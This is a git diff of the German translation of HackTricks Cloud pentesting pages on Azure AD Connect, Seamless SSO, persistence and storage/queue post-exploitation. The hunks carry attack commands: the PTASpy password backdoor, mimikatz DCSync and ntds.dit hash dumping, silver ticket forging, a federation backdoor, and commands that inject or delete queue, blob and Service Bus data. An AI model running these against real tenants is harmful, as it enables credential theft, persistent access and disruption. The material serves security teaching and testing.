diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 36f86d444..63fc06974 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,10 +1,8 @@ -You can remove this content before sending the PR: - ## Attribution Wir schätzen Ihr Wissen und ermutigen Sie, Inhalte zu teilen. Bitte stellen Sie sicher, dass Sie nur Inhalte hochladen, die Sie besitzen oder für die Sie die Erlaubnis des ursprünglichen Autors haben, sie zu teilen (indem Sie einen Verweis auf den Autor im hinzugefügten Text oder am Ende der Seite, die Sie ändern, oder beides hinzufügen). Ihr Respekt vor den Rechten an geistigem Eigentum fördert eine vertrauenswürdige und legale Sharing-Umgebung für alle. ## HackTricks Training -Wenn Sie hinzufügen, damit Sie die [ARTE-Zertifizierung](https://training.hacktricks.xyz/courses/arte) mit 2 Flags anstelle von 3 bestehen können, müssen Sie den PR `arte-` nennen. +Wenn Sie hinzufügen, um die [ARTE-Zertifizierung](https://training.hacktricks.xyz/courses/arte) mit 2 Flags anstelle von 3 zu bestehen, müssen Sie die PR `arte-` nennen. Denken Sie auch daran, dass Grammatik-/Syntaxkorrekturen für die Reduzierung der Prüfungsflags nicht akzeptiert werden. diff --git a/.gitignore b/.gitignore index 7fa947732..8d12fbb76 100644 --- a/.gitignore +++ b/.gitignore @@ -3,8 +3,6 @@ - - # General .DS_Store .AppleDouble diff --git a/book.toml b/book.toml index 4add3bde9..e3330d5e6 100644 --- a/book.toml +++ b/book.toml @@ -1,5 +1,5 @@ [book] -authors = ["Carlos Polop"] +authors = ["HackTricks Team"] language = "en" multilingual = false src = "src" diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 56a0cf0dc..37f549101 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -43,14 +43,14 @@ def ref(matchobj): if href.endswith("/"): href = href+"README.md" # Fix if ref points to a folder chapter, _path = findtitle(href, book, "source_path") - logger.debug(f'Recursive title search result: {chapter['name']}') + logger.debug(f'Recursive title search result: {chapter["name"]}') title = chapter['name'] except Exception as e: try: dir = path.dirname(current_chapter['source_path']) logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}') chapter, _path = findtitle(path.normpath(path.join(dir,href)), book, "source_path") - logger.debug(f'Recursive title search result: {chapter['name']}') + logger.debug(f'Recursive title search result: {chapter["name"]}') title = chapter['name'] except Exception as e: logger.debug(f'Error getting chapter title: {path.normpath(path.join(dir,href))}') diff --git a/src/README.md b/src/README.md index 3790a2445..115959486 100644 --- a/src/README.md +++ b/src/README.md @@ -1,12 +1,12 @@ # HackTricks Cloud -Reading time: {{ #reading_time }} +Lesezeit: {{ #reading_time }} {{#include ./banners/hacktricks-training.md}}
-_Hacktricks Logos & Motion Design von_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Hacktricks-Logos & Motion-Design von_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ > [!TIP] > Willkommen auf der Seite, auf der Sie jeden **Hacking-Trick/Technik/was auch immer im Zusammenhang mit CI/CD & Cloud** finden, den ich in **CTFs**, **realen** Lebensumgebungen, **Forschung** und **Lesen** von Forschungen und Nachrichten gelernt habe. diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 1b1d60c58..feae5163c 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -505,5 +505,3 @@ - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md index 1f12235cb..85d00fdab 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md @@ -49,7 +49,7 @@ az-cloud-kerberos-trust.md az-default-applications.md {{#endref}} -Für jede Integrationsmethode wird die Benutzersynchronisierung durchgeführt, und ein `MSOL_`-Konto wird im On-Prem AD erstellt. Bemerkenswert ist, dass sowohl die **PHS**- als auch die **PTA**-Methoden **Seamless SSO** ermöglichen, was eine automatische Anmeldung für Azure AD-Computer, die mit der On-Prem-Domäne verbunden sind, ermöglicht. +Für jede Integrationsmethode wird die Benutzersynchronisierung durchgeführt, und ein `MSOL_`-Konto wird im On-Prem AD erstellt. Bemerkenswert ist, dass sowohl die **PHS**- als auch die **PTA**-Methoden **Seamless SSO** ermöglichen, was eine automatische Anmeldung für Azure AD-Computer, die mit der On-Prem-Domäne verbunden sind, ermöglicht. Um die Installation von **Azure AD Connect** zu überprüfen, kann der folgende PowerShell-Befehl verwendet werden, der das **AzureADConnectHealthSync**-Modul nutzt (standardmäßig mit Azure AD Connect installiert): ```powershell diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index 077560d90..3158a52cd 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -2,9 +2,9 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Grundinformationen +## Grundlegende Informationen -[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication ermöglicht es Ihren Benutzern, sich mit denselben Passwörtern sowohl bei lokalen als auch bei cloudbasierten Anwendungen **anzumelden**. Diese Funktion bietet Ihren Benutzern ein besseres Erlebnis - ein Passwort weniger zu merken, und senkt die IT-Hilfeleistungs-Kosten, da Ihre Benutzer weniger wahrscheinlich vergessen, wie sie sich anmelden. Wenn sich Benutzer mit Azure AD anmelden, **validiert diese Funktion die Passwörter der Benutzer direkt gegen Ihr lokales Active Directory**. +[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication ermöglicht es Ihren Benutzern, sich **sowohl bei lokalen als auch bei cloudbasierten Anwendungen mit denselben Passwörtern** anzumelden. Diese Funktion bietet Ihren Benutzern ein besseres Erlebnis - ein Passwort weniger zu merken, und reduziert die IT-Hilfe-Kosten, da Ihre Benutzer weniger wahrscheinlich vergessen, wie sie sich anmelden. Wenn sich Benutzer mit Azure AD anmelden, **validiert diese Funktion die Passwörter der Benutzer direkt gegen Ihr lokales Active Directory**. In PTA werden **Identitäten** **synchronisiert**, aber **Passwörter** **nicht**, wie bei PHS. @@ -25,7 +25,7 @@ Die Authentifizierung wird im lokalen AD validiert und die Kommunikation mit der ### On-Prem -> Cloud -Wenn Sie **Admin**-Zugriff auf den **Azure AD Connect-Server** mit dem laufenden **PTA**-**Agenten** haben, können Sie das **AADInternals**-Modul verwenden, um eine **Hintertür** **einzufügen**, die **ALLE Passwörter**, die eingegeben werden, **validiert** (so dass alle Passwörter für die Authentifizierung gültig sind): +Wenn Sie **Admin**-Zugriff auf den **Azure AD Connect-Server** mit dem laufenden **PTA** **Agenten** haben, können Sie das **AADInternals**-Modul verwenden, um eine **Hintertür** einzufügen, die **ALLE Passwörter**, die eingegeben werden, **validiert** (so dass alle Passwörter für die Authentifizierung gültig sind): ```powershell Install-AADIntPTASpy ``` @@ -36,11 +36,11 @@ Es ist auch möglich, die **im Klartext gesendeten Passwörter an den PTA-Agente ```powershell Get-AADIntPTASpyLog -DecodePasswords ``` -This backdoor will: +Dieses Backdoor wird: -- Create a hidden folder `C:\PTASpy` -- Copy a `PTASpy.dll` to `C:\PTASpy` -- Injects `PTASpy.dll` to `AzureADConnectAuthenticationAgentService` process +- Einen versteckten Ordner `C:\PTASpy` erstellen +- Eine `PTASpy.dll` nach `C:\PTASpy` kopieren +- `PTASpy.dll` in den Prozess `AzureADConnectAuthenticationAgentService` injizieren > [!NOTE] > Wenn der AzureADConnectAuthenticationAgent-Dienst neu gestartet wird, wird PTASpy „entladen“ und muss neu installiert werden. @@ -48,7 +48,7 @@ This backdoor will: ### Cloud -> On-Prem > [!CAUTION] -> Nachdem **GA-Berechtigungen** in der Cloud erhalten wurden, ist es möglich, einen **neuen PTA-Agenten** zu **registrieren**, indem man ihn auf einem **vom Angreifer kontrollierten Gerät** einrichtet. Sobald der Agent **eingerichtet** ist, können wir die **vorherigen** Schritte **wiederholen**, um **mit jedem Passwort zu authentifizieren** und auch **die Passwörter im Klartext zu erhalten.** +> Nachdem **GA-Rechte** in der Cloud erlangt wurden, ist es möglich, einen **neuen PTA-Agenten** zu **registrieren**, indem man ihn auf einem **vom Angreifer kontrollierten Gerät** einrichtet. Sobald der Agent **eingerichtet** ist, können wir die **vorherigen** Schritte **wiederholen**, um **mit jedem Passwort zu authentifizieren** und auch **die Passwörter im Klartext zu erhalten.** ### Seamless SSO @@ -58,7 +58,7 @@ Es ist möglich, Seamless SSO mit PTA zu verwenden, das anfällig für andere Mi seamless-sso.md {{#endref}} -## References +## Referenzen - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta) - [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md index dc9c7bf63..9fc0147e9 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md @@ -4,7 +4,7 @@ ## Grundinformationen -[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **meldet Benutzer automatisch an, wenn sie sich auf ihren Unternehmensgeräten** befinden, die mit Ihrem Unternehmensnetzwerk verbunden sind. Wenn aktiviert, **müssen Benutzer ihre Passwörter nicht eingeben, um sich bei Azure AD anzumelden**, und normalerweise auch nicht ihre Benutzernamen. Diese Funktion bietet Ihren Benutzern einfachen Zugang zu Ihren cloudbasierten Anwendungen, ohne dass zusätzliche lokale Komponenten erforderlich sind. +[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **meldet Benutzer automatisch an, wenn sie sich auf ihren Unternehmensgeräten** befinden, die mit Ihrem Unternehmensnetzwerk verbunden sind. Wenn aktiviert, **müssen Benutzer ihre Passwörter nicht eingeben, um sich bei Azure AD anzumelden**, und normalerweise auch nicht ihre Benutzernamen. Diese Funktion bietet Ihren Benutzern einfachen Zugriff auf Ihre cloudbasierten Anwendungen, ohne dass zusätzliche lokale Komponenten erforderlich sind.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

@@ -20,7 +20,7 @@ Die **Kerberos-Tickets** sind **verschlüsselt** mit dem **NTHash (MD4)** des Pa ### On-prem -> cloud -Das **Passwort** des Benutzers **`AZUREADSSOACC$` ändert sich niemals**. Daher könnte ein Domänenadministrator den **Hash dieses Kontos** kompromittieren und ihn dann verwenden, um **silberne Tickets** zu erstellen, um sich mit **jedem lokal synchronisierten Benutzer** bei Azure zu verbinden: +Das **Passwort** des Benutzers **`AZUREADSSOACC$` ändert sich niemals**. Daher könnte ein Domänenadministrator den **Hash dieses Kontos** kompromittieren und ihn dann verwenden, um **Silber-Tickets** zu erstellen, um sich mit **irgendeinem lokal synchronisierten Benutzer** bei Azure zu verbinden: ```powershell # Dump hash using mimikatz Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' @@ -38,7 +38,7 @@ Import-Module DSInternals $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos ``` -Mit dem Hash können Sie jetzt **silberne Tickets generieren**: +Mit dem Hash können Sie jetzt **Silber-Tickets generieren**: ```powershell # Get users and SIDs Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier @@ -68,7 +68,7 @@ Um das Silver Ticket zu nutzen, sollten die folgenden Schritte ausgeführt werde - Um fortzufahren, drücken Sie entweder TAB oder ENTER. > [!TIP] -> Dies umgeht nicht die MFA, wenn sie aktiviert ist +> Dies umgeht nicht die MFA, falls aktiviert #### Option 2 ohne dcsync - SeamlessPass @@ -83,7 +83,7 @@ Schließlich ist es mit dem TGT möglich, das Tool [**SeamlessPass**](https://gi ``` seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt ``` -Weitere Informationen zur Konfiguration von Firefox für die nahtlose SSO finden Sie [**in diesem Blogbeitrag**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). +Weitere Informationen zur Konfiguration von Firefox für die Verwendung mit Seamless SSO sind [**in diesem Blogbeitrag zu finden**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). #### ~~Erstellen von Kerberos-Tickets für Cloud-nur-Benutzer~~ @@ -104,6 +104,6 @@ python rbdel.py -u \\ -p azureadssosvc$ - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) - [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -- [TR19: Ich bin in deiner Cloud und lese die E-Mails von allen - Hacking Azure AD über Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) +- [TR19: Ich bin in deiner Cloud und lese die E-Mails aller - Hacking Azure AD über Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-persistence/README.md b/src/pentesting-cloud/azure-security/az-persistence/README.md index 93abaa44d..abe2b26c1 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/README.md +++ b/src/pentesting-cloud/azure-security/az-persistence/README.md @@ -4,7 +4,7 @@ ### Illegale Zustimmungserteilung -Standardmäßig kann sich jeder Benutzer in Azure AD eine Anwendung registrieren. Sie können also eine Anwendung (nur für den Zielmandanten) registrieren, die hohe Berechtigungen mit administrativer Zustimmung benötigt (und diese genehmigen, wenn Sie der Administrator sind) - wie das Senden von E-Mails im Namen eines Benutzers, Rollenmanagement usw. Dies ermöglicht es uns, **Phishing-Angriffe** durchzuführen, die im Erfolgsfall sehr **ertragreich** wären. +Standardmäßig kann sich jeder Benutzer in Azure AD eine Anwendung registrieren. Sie können also eine Anwendung (nur für den Zielmandanten) registrieren, die hohe Berechtigungen mit administrativer Zustimmung benötigt (und diese genehmigen, wenn Sie der Administrator sind) - wie das Versenden von E-Mails im Namen eines Benutzers, Rollenmanagement usw. Dies ermöglicht es uns, **Phishing-Angriffe** durchzuführen, die im Erfolgsfall sehr **ertragreich** wären. Darüber hinaus könnten Sie auch diese Anwendung mit Ihrem Benutzer akzeptieren, um den Zugriff darauf aufrechtzuerhalten. @@ -14,15 +14,15 @@ Mit den Rechten eines Anwendungsadministrators, GA oder einer benutzerdefinierte Es ist möglich, **eine Anwendung mit hohen Berechtigungen zu zielen** oder **eine neue Anwendung** mit hohen Berechtigungen hinzuzufügen. -Eine interessante Rolle, die der Anwendung hinzugefügt werden könnte, wäre die **Rolle des privilegierten Authentifizierungsadministrators**, da sie es ermöglicht, das Passwort von globalen Administratoren **zurückzusetzen**. +Eine interessante Rolle, die der Anwendung hinzugefügt werden könnte, wäre die **Rolle des privilegierten Authentifizierungsadministrators**, da sie es ermöglicht, das **Passwort** von globalen Administratoren zurückzusetzen. -Diese Technik ermöglicht es auch, **MFA zu umgehen**. +Diese Technik ermöglicht auch, **MFA zu umgehen**. ```powershell $passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd) Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a ``` -- Für die authentifizierung basierend auf Zertifikaten +- Für die zertifikatsbasierte Authentifizierung ```powershell Connect-AzAccount -ServicePrincipal -Tenant -CertificateThumbprint -ApplicationId ``` @@ -34,13 +34,13 @@ Mit **DA-Rechten** auf dem lokalen AD ist es möglich, **neue Token-Signierungs* ```powershell New-AADIntADFSSelfSignedCertificates ``` -Dann aktualisieren Sie die Zertifikatsinformationen mit Azure AD: +Aktualisieren Sie dann die Zertifikatsinformationen mit Azure AD: ```powershell Update-AADIntADFSFederationSettings -Domain cyberranges.io ``` ### Federation - Vertrauenswürdige Domäne -Mit GA-Rechten auf einem Mandanten ist es möglich, eine **neue Domäne hinzuzufügen** (muss verifiziert werden), ihren Authentifizierungstyp auf Federated zu konfigurieren und die Domäne so zu konfigurieren, dass sie **ein bestimmtes Zertifikat** (any.sts im folgenden Befehl) und Aussteller vertraut: +Mit GA-Rechten auf einem Mandanten ist es möglich, eine **neue Domäne hinzuzufügen** (muss verifiziert werden), ihren Authentifizierungstyp auf Federated zu konfigurieren und die Domäne so zu konfigurieren, dass sie **ein bestimmtes Zertifikat** (any.sts im folgenden Befehl) und den Aussteller vertraut: ```powershell # Using AADInternals ConvertTo-AADIntBackdoor -DomainName cyberranges.io diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md index 779f778a7..4591af291 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md @@ -14,11 +14,11 @@ Für weitere Informationen über Storage siehe: - Halte die Zugriffsschlüssel - Generiere SAS -- Benutzerdelegierte sind maximal 7 Tage +- Benutzerdelegierungen sind maximal 7 Tage ### Microsoft.Storage/storageAccounts/blobServices/containers/update && Microsoft.Storage/storageAccounts/blobServices/deletePolicy/write -Diese Berechtigungen ermöglichen es dem Benutzer, die Eigenschaften des Blob-Dienstes für die Funktion zur Aufbewahrung gelöschter Container zu ändern, die den Aufbewahrungszeitraum für gelöschte Container aktiviert oder konfiguriert. Diese Berechtigungen können verwendet werden, um die Persistenz aufrechtzuerhalten und dem Angreifer ein Zeitfenster zu bieten, um gelöschte Container, die dauerhaft entfernt werden sollten, wiederherzustellen oder zu manipulieren und auf sensible Informationen zuzugreifen. +Diese Berechtigungen ermöglichen es dem Benutzer, die Eigenschaften des Blob-Dienstes für die Löschaufbewahrungsfunktion des Containers zu ändern, die den Aufbewahrungszeitraum für gelöschte Container aktiviert oder konfiguriert. Diese Berechtigungen können verwendet werden, um die Persistenz aufrechtzuerhalten und dem Angreifer ein Zeitfenster zu bieten, um gelöschte Container, die dauerhaft entfernt werden sollten, wiederherzustellen oder zu manipulieren und auf sensible Informationen zuzugreifen. ```bash az storage account blob-service-properties update \ --account-name \ diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md index cc00571eb..854955bed 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md @@ -10,16 +10,16 @@ Für weitere Informationen zu VMs siehe: ../az-services/vms/ {{#endref}} -### Backdoor-VM-Anwendungen, VM-Erweiterungen & Bilder +### Backdoor-VM-Anwendungen, VM-Erweiterungen & Images -Ein Angreifer identifiziert Anwendungen, Erweiterungen oder Bilder, die häufig im Azure-Konto verwendet werden. Er könnte seinen Code in VM-Anwendungen und -Erweiterungen einfügen, sodass jedes Mal, wenn sie installiert werden, die Hintertür ausgeführt wird. +Ein Angreifer identifiziert Anwendungen, Erweiterungen oder Images, die häufig im Azure-Konto verwendet werden. Er könnte seinen Code in VM-Anwendungen und -Erweiterungen einfügen, sodass jedes Mal, wenn sie installiert werden, die Backdoor ausgeführt wird. ### Backdoor-Instanzen -Ein Angreifer könnte Zugriff auf die Instanzen erhalten und sie mit einer Hintertür versehen: +Ein Angreifer könnte Zugriff auf die Instanzen erhalten und sie backdoor: - Verwendung eines traditionellen **Rootkits** zum Beispiel -- Hinzufügen eines neuen **öffentlichen SSH-Schlüssels** (siehe [EC2 privesc options](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc)) -- Hintertür in den **Benutzerdaten** +- Hinzufügen eines neuen **öffentlichen SSH-Schlüssels** (siehe [EC2 privesc Optionen](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc)) +- Backdooring der **Benutzerdaten** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md index 5ca59dce8..4f0ef7b2e 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md @@ -26,7 +26,7 @@ az storage blob download \ ``` ### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write -Ein Principal mit dieser Berechtigung wird in der Lage sein, **Dateien in Containern zu schreiben und zu überschreiben**, was ihm möglicherweise ermöglicht, Schaden anzurichten oder sogar Privilegien zu eskalieren (z. B. einige in einem Blob gespeicherte Codes überschreiben): +Ein Principal mit dieser Berechtigung wird in der Lage sein, **Dateien in Containern zu schreiben und zu überschreiben**, was ihm möglicherweise ermöglichen könnte, Schaden anzurichten oder sogar Privilegien zu eskalieren (z. B. einige im Blob gespeicherte Codes zu überschreiben): ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write az storage blob upload \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md index 8b2eb30d4..a8a3db960 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -Dateifreigabe Post-Exploitation +File Share Post Exploitation Für weitere Informationen zu Dateifreigaben siehe: @@ -30,7 +30,7 @@ az storage file download \ ``` ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action -Ein Principal mit dieser Berechtigung wird in der Lage sein, **Dateien in Dateifreigaben zu schreiben und zu überschreiben**, was ihm ermöglichen könnte, Schaden anzurichten oder sogar Privilegien zu eskalieren (z. B. einige in einer Dateifreigabe gespeicherte Codes überschreiben): +Ein Principal mit dieser Berechtigung wird in der Lage sein, **Dateien in Dateifreigaben zu schreiben und zu überschreiben**, was ihm möglicherweise ermöglicht, Schaden anzurichten oder sogar Privilegien zu eskalieren (z. B. einige im Dateifreigabe gespeicherte Codes überschreiben): ```bash az storage blob upload \ --account-name \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md index 6129ba4d4..b25e03d66 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md @@ -10,7 +10,7 @@ Für weitere Informationen zu Function Apps siehe: ../az-services/az-function-apps.md {{#endref}} -> [!CAUTION] > **Die Tricks zur Post-Exploitation von Function Apps sind sehr eng mit den Tricks zur Privilegieneskalation verbunden**, daher finden Sie dort alle: +> [!CAUTION] > **Die Tricks zur Post-Exploitation von Function Apps sind sehr eng mit den Tricks zur Privilegieneskalation verbunden**, daher finden Sie alle dort: {{#ref}} ../az-privilege-escalation/az-functions-app-privesc.md diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md index 73c384061..ce1b1d04a 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md @@ -12,7 +12,7 @@ Für weitere Informationen zu diesem Dienst siehe: ### Microsoft.KeyVault/vaults/secrets/getSecret/action -Diese Berechtigung ermöglicht es einem Principal, den geheimen Wert von Geheimnissen zu lesen: +Diese Berechtigung ermöglicht es einem Principal, den geheimen Wert von Secrets zu lesen: ```bash az keyvault secret show --vault-name --name @@ -64,7 +64,7 @@ az keyvault secret set --vault-name --name --value --name ``` diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md index 45af1a2a4..9884335f1 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md @@ -20,7 +20,7 @@ az storage message peek --queue-name --account-name --account-name ``` @@ -32,7 +32,7 @@ az storage message put --queue-name --content "Injected malicious m ``` ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write` -Diese Berechtigung ermöglicht es einem Angreifer, neue Nachrichten hinzuzufügen oder vorhandene in einer Azure Storage Queue zu aktualisieren. Durch die Nutzung dieser Berechtigung könnten sie schädliche Inhalte einfügen oder vorhandene Nachrichten ändern, was möglicherweise Anwendungen irreführen oder unerwünschte Verhaltensweisen in Systemen verursachen könnte, die auf die Queue angewiesen sind. +Diese Berechtigung ermöglicht es einem Angreifer, neue Nachrichten hinzuzufügen oder vorhandene in einer Azure Storage Queue zu aktualisieren. Dadurch könnten sie schädliche Inhalte einfügen oder vorhandene Nachrichten ändern, was möglicherweise Anwendungen irreführen oder unerwünschte Verhaltensweisen in Systemen verursachen könnte, die auf die Queue angewiesen sind. ```bash az storage message put --queue-name --content "Injected malicious message" --account-name @@ -58,7 +58,7 @@ az storage message clear --queue-name --account-name --account-name diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md index 4e9c7e7ba..3ddfb5152 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md @@ -30,13 +30,13 @@ az servicebus queue delete --resource-group --namespace-name ``` ### Aktionen: `Microsoft.ServiceBus/namespaces/topics/subscriptions/Delete` -Ein Angreifer mit dieser Berechtigung kann ein Azure Service Bus-Abonnement löschen. Diese Aktion entfernt das Abonnement und alle zugehörigen Nachrichten, was potenziell Arbeitsabläufe, Datenverarbeitung und Systemoperationen, die auf dem Abonnement basieren, stören kann. +Ein Angreifer mit dieser Berechtigung kann ein Azure Service Bus-Abonnement löschen. Diese Aktion entfernt das Abonnement und alle damit verbundenen Nachrichten, was potenziell Arbeitsabläufe, Datenverarbeitung und Systemoperationen, die auf das Abonnement angewiesen sind, stören kann. ```bash az servicebus topic subscription delete --resource-group --namespace-name --topic-name --name ``` ### Aktionen: `Microsoft.ServiceBus/namespaces/write` & `Microsoft.ServiceBus/namespaces/read` -Ein Angreifer mit Berechtigungen zum Erstellen oder Ändern von Azure Service Bus-Namensräumen kann dies ausnutzen, um den Betrieb zu stören, unbefugte Ressourcen bereitzustellen oder sensible Daten offenzulegen. Sie können kritische Konfigurationen ändern, wie z. B. den öffentlichen Netzwerkzugang aktivieren, die Verschlüsselungseinstellungen herabstufen oder SKUs ändern, um die Leistung zu verschlechtern oder die Kosten zu erhöhen. Darüber hinaus könnten sie die lokale Authentifizierung deaktivieren, Replikatstandorte manipulieren oder TLS-Versionen anpassen, um die Sicherheitskontrollen zu schwächen, was die Fehlkonfiguration von Namensräumen zu einem erheblichen Risiko nach der Ausnutzung macht. +Ein Angreifer mit Berechtigungen zum Erstellen oder Ändern von Azure Service Bus-Namensräumen kann dies ausnutzen, um den Betrieb zu stören, unbefugte Ressourcen bereitzustellen oder sensible Daten offenzulegen. Sie können kritische Konfigurationen ändern, wie z.B. den öffentlichen Netzwerkzugang zu aktivieren, die Verschlüsselungseinstellungen herabzusetzen oder SKUs zu ändern, um die Leistung zu verschlechtern oder die Kosten zu erhöhen. Darüber hinaus könnten sie die lokale Authentifizierung deaktivieren, Replikationsstandorte manipulieren oder TLS-Versionen anpassen, um die Sicherheitskontrollen zu schwächen, was eine signifikante Risiko der Fehlkonfiguration von Namensräumen nach der Ausnutzung darstellt. ```bash az servicebus namespace create --resource-group 